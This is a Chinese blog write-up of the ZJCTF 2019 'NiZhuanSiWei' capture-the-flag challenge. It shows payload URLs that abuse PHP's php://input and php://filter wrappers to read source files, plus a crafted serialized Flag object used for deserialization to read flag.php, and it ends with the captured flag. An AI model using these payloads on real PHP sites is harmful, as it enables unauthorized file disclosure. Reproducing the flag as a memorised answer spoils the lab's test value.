WP [ZJCTF 2019]NiZhuanSiWei

做了一道知识点包含反序列化和PHP伪协议的题,写篇博客整理一下思路

启动靶机,我们看到如下页面WP [ZJCTF 2019]NiZhuanSiWei_第1张图片
分析代码,定义了text、file、password三个变量,剩下的代码都在一个if里,要上传text,可以使用php://input协议来执行,内容为"welcome to the zjctf",代码注释部分有一个useless.php,我们可以使用php://filter伪协议来读取useless.php的内容。

构造payload:/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

使用Hackbar来传text参数:
WP [ZJCTF 2019]NiZhuanSiWei_第2张图片执行后得到一串base64加密过后的字符串:
WP [ZJCTF 2019]NiZhuanSiWei_第3张图片base64解密后,得到一串PHP代码:

// An highlighted block
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "
"
; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

代码注释部分提示我们文件名flag.php
实例化对象,名为a,并且使a对象中的文件是flag.php,并序列化a
WP [ZJCTF 2019]NiZhuanSiWei_第4张图片在浏览器中运行后得到:O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
构造payload:/?text=php://input&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

WP [ZJCTF 2019]NiZhuanSiWei_第5张图片F12查看源码得到flag

flag{acc6be45-2c9f-408a-844c-9dd3935400c0}
WP [ZJCTF 2019]NiZhuanSiWei_第6张图片

你可能感兴趣的:(php,memcached,微信)